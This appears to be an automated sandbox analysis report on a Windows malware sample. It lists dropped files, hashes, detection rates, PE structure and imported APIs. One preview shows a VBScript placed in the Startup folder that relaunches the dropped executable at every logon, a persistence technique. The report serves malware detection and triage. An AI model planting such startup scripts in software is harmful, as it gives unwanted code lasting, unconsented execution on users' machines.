SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Temp\aut20EF.tmp

Download File

Process:	C:\Users\user\Desktop\egpTyFpA8v.exe
File Type:	data
Category:	dropped
Size (bytes):	40368
Entropy (8bit):	7.8672026068516665
Encrypted:	false
SSDEEP:	768:7nPtkXKOKkeq1mDosoxqR42jGWbZ+bdW1V0ASr7U0OOhLBt4lli4L3l+/RCSQ1:7lFrkeq4MBzbbULrY7+ORM7So
MD5:	360E888BD4500096C2EFCDE86DB752F3
SHA1:	917261746796F3D2A79427BA1A6F5AD7AF7278CC
SHA-256:	BB1C0B9570207DC968D0AD64E1F6A4D6F82F80B4E5EBFF4ED11C5B4DD61EA209
SHA-512:	FE4D887FE1385512B0A60FBFEE9D3B9F17E5644ECF913D9996ECE7588FDF58688AC90DF9C1D8156649D45AB8A79D93D1972287E56ACBF2B59113102768A7C3F3
Malicious:	false
Reputation:	low
Preview:	EA06.....Z4Sj%N.H..hT....B.S....bk1..&s)...4L@..U..B...f..5....D.{..o.....M/..m..[...r.=Z.#..SYebC@..'.Z..E...".8..\.I..Jef...N...3._..J......4k.O.Vg...2g..h+ .X.a...p.....ns).X...Lf4`.L..'5......LR(1N<.$..7..2G2.I.41R.....Q.Y.4..f...u\|.j.T......-...(.k..F.{.4.k1.P...7..........'z+1..#....IS....h.... ./..J.@oS....,.V' .P.&p`.....p.......l.N4Z.r..P.X.mR.5.4&u.........1.9].U..Bp..-....Wx...\.}......Cc.(..6.hK.v...^.K&.z\|.........em...:...C.U.u.,.M ..i..d.mR..i..\.J..-..f.2.Lct........i...`..@.......i.x..^.4e..UN.T.G.....%......b..i.h..+@.....6I...X....).b.H.......J...Z..8.K.'..j?G...Q..B.k.P..IP....Ti.XD..x...3.%..<G..J\|..3.8$. ..s.Fu.U.e.M..K\|.5.s.9.b.9.....FU\..$..."...[2.=..x.Wh5JD>...\ ....7../q.D.oh.N!....`..W#..2s....{....R..I5./N.H).:..i..P.<..f.^.......mH.i.5..f....&.z."o..R.t.$..N.Rh.(..C#..S....n..e.ZU..@...4.......Sj...;.LhT.U..B.Y-T...k1.....{..N.. .sh.Ki...ey.L.S.. ........v-.S.U....L..]*=N....79U.....h....L..h..8..@.\...:iE

C:\Users\user\AppData\Local\Temp\aut244A.tmp

Download File

Process:	C:\Users\user\AppData\Local\preinhered\Wausaukee.exe
File Type:	data
Category:	dropped
Size (bytes):	40368
Entropy (8bit):	7.8672026068516665
Encrypted:	false
SSDEEP:	768:7nPtkXKOKkeq1mDosoxqR42jGWbZ+bdW1V0ASr7U0OOhLBt4lli4L3l+/RCSQ1:7lFrkeq4MBzbbULrY7+ORM7So
MD5:	360E888BD4500096C2EFCDE86DB752F3
SHA1:	917261746796F3D2A79427BA1A6F5AD7AF7278CC
SHA-256:	BB1C0B9570207DC968D0AD64E1F6A4D6F82F80B4E5EBFF4ED11C5B4DD61EA209
SHA-512:	FE4D887FE1385512B0A60FBFEE9D3B9F17E5644ECF913D9996ECE7588FDF58688AC90DF9C1D8156649D45AB8A79D93D1972287E56ACBF2B59113102768A7C3F3
Malicious:	false
Reputation:	low
Preview:	EA06.....Z4Sj%N.H..hT....B.S....bk1..&s)...4L@..U..B...f..5....D.{..o.....M/..m..[...r.=Z.#..SYebC@..'.Z..E...".8..\.I..Jef...N...3._..J......4k.O.Vg...2g..h+ .X.a...p.....ns).X...Lf4`.L..'5......LR(1N<.$..7..2G2.I.41R.....Q.Y.4..f...u\|.j.T......-...(.k..F.{.4.k1.P...7..........'z+1..#....IS....h.... ./..J.@oS....,.V' .P.&p`.....p.......l.N4Z.r..P.X.mR.5.4&u.........1.9].U..Bp..-....Wx...\.}......Cc.(..6.hK.v...^.K&.z\|.........em...:...C.U.u.,.M ..i..d.mR..i..\.J..-..f.2.Lct........i...`..@.......i.x..^.4e..UN.T.G.....%......b..i.h..+@.....6I...X....).b.H.......J...Z..8.K.'..j?G...Q..B.k.P..IP....Ti.XD..x...3.%..<G..J\|..3.8$. ..s.Fu.U.e.M..K\|.5.s.9.b.9.....FU\..$..."...[2.=..x.Wh5JD>...\ ....7../q.D.oh.N!....`..W#..2s....{....R..I5./N.H).:..i..P.<..f.^.......mH.i.5..f....&.z."o..R.t.$..N.Rh.(..C#..S....n..e.ZU..@...4.......Sj...;.LhT.U..B.Y-T...k1.....{..N.. .sh.Ki...ey.L.S.. ........v-.S.U....L..]*=N....79U.....h....L..h..8..@.\...:iE

C:\Users\user\AppData\Local\Temp\aut4EF4.tmp

Download File

Process:	C:\Users\user\AppData\Local\preinhered\Wausaukee.exe
File Type:	data
Category:	dropped
Size (bytes):	40368
Entropy (8bit):	7.8672026068516665
Encrypted:	false
SSDEEP:	768:7nPtkXKOKkeq1mDosoxqR42jGWbZ+bdW1V0ASr7U0OOhLBt4lli4L3l+/RCSQ1:7lFrkeq4MBzbbULrY7+ORM7So
MD5:	360E888BD4500096C2EFCDE86DB752F3
SHA1:	917261746796F3D2A79427BA1A6F5AD7AF7278CC
SHA-256:	BB1C0B9570207DC968D0AD64E1F6A4D6F82F80B4E5EBFF4ED11C5B4DD61EA209
SHA-512:	FE4D887FE1385512B0A60FBFEE9D3B9F17E5644ECF913D9996ECE7588FDF58688AC90DF9C1D8156649D45AB8A79D93D1972287E56ACBF2B59113102768A7C3F3
Malicious:	false
Reputation:	low
Preview:	EA06.....Z4Sj%N.H..hT....B.S....bk1..&s)...4L@..U..B...f..5....D.{..o.....M/..m..[...r.=Z.#..SYebC@..'.Z..E...".8..\.I..Jef...N...3._..J......4k.O.Vg...2g..h+ .X.a...p.....ns).X...Lf4`.L..'5......LR(1N<.$..7..2G2.I.41R.....Q.Y.4..f...u\|.j.T......-...(.k..F.{.4.k1.P...7..........'z+1..#....IS....h.... ./..J.@oS....,.V' .P.&p`.....p.......l.N4Z.r..P.X.mR.5.4&u.........1.9].U..Bp..-....Wx...\.}......Cc.(..6.hK.v...^.K&.z\|.........em...:...C.U.u.,.M ..i..d.mR..i..\.J..-..f.2.Lct........i...`..@.......i.x..^.4e..UN.T.G.....%......b..i.h..+@.....6I...X....).b.H.......J...Z..8.K.'..j?G...Q..B.k.P..IP....Ti.XD..x...3.%..<G..J\|..3.8$. ..s.Fu.U.e.M..K\|.5.s.9.b.9.....FU\..$..."...[2.=..x.Wh5JD>...\ ....7../q.D.oh.N!....`..W#..2s....{....R..I5./N.H).:..i..P.<..f.^.......mH.i.5..f....&.z."o..R.t.$..N.Rh.(..C#..S....n..e.ZU..@...4.......Sj...;.LhT.U..B.Y-T...k1.....{..N.. .sh.Ki...ey.L.S.. ........v-.S.U....L..]*=N....79U.....h....L..h..8..@.\...:iE

C:\Users\user\AppData\Local\Temp\endochylous

Download File

Process:	C:\Users\user\Desktop\egpTyFpA8v.exe
File Type:	data
Category:	modified
Size (bytes):	46080
Entropy (8bit):	6.740141727045088
Encrypted:	false
SSDEEP:	768:c9h/B5iM40jsdgEkw8KYGNU3DVM1QiPNiwwpD0ZcblAVXp9ESCGAb0Ae7IyqnHE:c9DwoSgPitiTaJPNYpwGAVXIv5zeTcHE
MD5:	8409FF18F685EFF1B3AE18A11463A348
SHA1:	D1AF7CD089FBB6E848C33312C39834B5D9AEA885
SHA-256:	C267167E1BAB18CF8A75063ADBFBF5D8927A97CFB3B549C85B6A9673CF7EDE69
SHA-512:	E27A4B8917CADC049BA75FF05033FF857E05A646FC899CAB3DF34CEC40D71388651E5D9DA6F2895E09A7777D4CC6DD04EA5D530B05BD0D28188B4E36BFA5BD4D
Malicious:	false
Preview:	~h.6DSYH51BJ..TB.N4O2X51.L3226GSYH11BJJATB6N4O2X51QL3226GSYH.1BJD^.L6.=...4}.mgZ[Eg#+'VC#'j"5,X!@oP=.C$".[\....h\^&/dLYH.N4O2X51..32~7DS...TBJJATB6N.O0Y>0YL3.26GYYH11BJD.TB6n4O2.51QLs22.GSYJ11FJJATB6N0O2X51QL3.36GQYH11BJHA..6N$O2H51QL#22&GSYH11RJJATB6N4O2X..QLd226G.YH.6BJJATB6N4O2X51QL3226FSUH11BJJATB6N4O2X51QL3226GSYH11BJJATB6N4O2X51QL3226GSYh11JJJATB6N4O2X=.QL{226GSYH11BJd51:BN4O&.51Ql322.GSYJ11BJJATB6N4O2X.1Q,.@AD$SYH.6BJJ.TB6F4O2.51QL3226GSYH11.JJ.z0S"[,2X91QL3236GQYH1.BJJATB6N4O2X51.L3p26GSYH11BJJATB6N.2X51QL{226ES\H.hBJ.-TB5N4O3X57QL3226GSYH11BJJATB6N4O2X51QL3226GSYH11BJJATB6N4O..+g...../Ewi.IrBw...\T.....h..2.6.SYH/3jRJA^h,0'O2\./S. 222mI'\11F`TC.V6N0e(& 1QH.,0.RSYL.+<\JAPh(L.Y2X1.K2$222mM[.&1BN`[Z6N0e,Z.)QL7.(H^SYL./@.SATF.TJU2X1.K2(222mM[.1BN`[^6N0e,Z.-QL7.(HZSYL./@.WATF.d6g.X5;G.0..HLSYL2^}JJK~lEV4O8./1QH....GS_r.1BJbkTB0tO2X..QL5.&6GSqo11Dp@ATB.f4O4a31QL'.D6GYs...BJ@2.B6D.o0X5^.L38.X9MYH5.RJJA*\6N0 .X5;E.-222m-'G11Fb]ATH.A4O2p.1QJ.726G{.H17h.8.qBF0$O2\.^QL9..6GWs.B.BJ

C:\Users\user\AppData\Local\preinhered\Wausaukee.exe

Download File

Process:	C:\Users\user\Desktop\egpTyFpA8v.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	967680
Entropy (8bit):	6.850774868418671
Encrypted:	false
SSDEEP:	24576:nu6J33O0c+JY5UZ+XC0kGso6FaNXpPkMeCWY:hu0c++OCvkGs9FaNhkZY
MD5:	BC18B6803A287E63B3668B5817F12419
SHA1:	BC21190DF092D93629068C705EA8DC630D3DB4A4
SHA-256:	8F42D1E07595808544EED18A45E8D7220DFF40597D4D53D0F63FAB47554AFBDF
SHA-512:	2C29ABCD294FD09E39CB604192628C2E4AA71241575AC38644C0FD7E5AC6B77C1F12302003636F166747D7B44649C7A9D31915E1B2C6C5FA09201428187C59E2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}.r}.r}.4,".p}.....s}../..A}../#..}../".G}.{.@.{}.{.P.W}.r}.R....)."}.....s}../..s}.r}T.s}.....s}.Richr}.................PE..L...o.Ng.........."..................}............@..........................0.......4....@...@.......@.....................L...\|....p...;.......................q...+..............................pH..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc....;...p...<..................@..@.reloc...q.......r...R..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs

Download File

Process:	C:\Users\user\AppData\Local\preinhered\Wausaukee.exe
File Type:	data
Category:	modified
Size (bytes):	288
Entropy (8bit):	3.4110438914811274
Encrypted:	false
SSDEEP:	6:DMM8lfm3OOQdUfclMMlW8g1UEZ+lX1GOnB7uMlWAlmnriIM8lfQVn:DsO+vNlMkXg1Q1R7uM8mA2n
MD5:	0A5017AC7579ECF57010602F1C5CC597
SHA1:	2F38A013D171788806F711120503BF0A1626EF09
SHA-256:	53C57DE4A96C6F428CBB80774A50FF4F48A72AB512090E45D8BEF700E17237C1
SHA-512:	3433F857B52F15C0980F8062FA0BF4B116C419AE040B5C75E0468BDCA94D6164F8359342153540906CB16A9DF11D6F963623C680782B8831C4C4139AC58B8417
Malicious:	true
Preview:	S.e.t. .W.s.h.S.h.e.l.l. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".W.S.c.r.i.p.t...S.h.e.l.l.".)...W.s.h.S.h.e.l.l...R.u.n. .".C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.r.e.i.n.h.e.r.e.d.\.W.a.u.s.a.u.k.e.e...e.x.e.".,. .1...S.e.t. .W.s.h.S.h.e.l.l. .=. .N.o.t.h.i.n.g...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.850774868418671
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	egpTyFpA8v.exe
File size:	967'680 bytes
MD5:	bc18b6803a287e63b3668b5817f12419
SHA1:	bc21190df092d93629068c705ea8dc630d3db4a4
SHA256:	8f42d1e07595808544eed18a45e8d7220dff40597d4d53d0f63fab47554afbdf
SHA512:	2c29abcd294fd09e39cb604192628c2e4aa71241575ac38644c0fd7e5ac6b77c1f12302003636f166747d7b44649c7a9d31915e1b2c6c5fa09201428187c59e2
SSDEEP:	24576:nu6J33O0c+JY5UZ+XC0kGso6FaNXpPkMeCWY:hu0c++OCvkGs9FaNhkZY
TLSH:	1E25AD2273DDC360CB669173BF6AB7016EBF7C614630B85B2F880D7DA950162162D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674E986F [Tue Dec 3 05:34:39 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FEDF4B4172Ah
jmp 00007FEDF4B344F4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FEDF4B3467Ah
cmp edi, eax
jc 00007FEDF4B349DEh
bt dword ptr [004C31FCh], 01h
jnc 00007FEDF4B34679h
rep movsb
jmp 00007FEDF4B3498Ch
cmp ecx, 00000080h
jc 00007FEDF4B34844h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FEDF4B34680h
bt dword ptr [004BE324h], 01h
jc 00007FEDF4B34B50h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FEDF4B3481Dh
test edi, 00000003h
jne 00007FEDF4B3482Eh
test esi, 00000003h
jne 00007FEDF4B3480Dh
bt edi, 02h
jnc 00007FEDF4B3467Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FEDF4B34683h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FEDF4B346D5h
bt esi, 03h
jnc 00007FEDF4B34728h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x23bac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xeb000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x23bac	0x23c00	0208b202d566ac06d244d283dc6ed295	False	0.8163038133741258	data	7.584050575804284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xeb000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x1ae71	data			1.0003720744511901
RT_GROUP_ICON	0xea62c	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xea6a4	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xea6b8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xea6cc	0x14	data	English	Great Britain	1.25
RT_VERSION	0xea6e0	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xea7bc	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
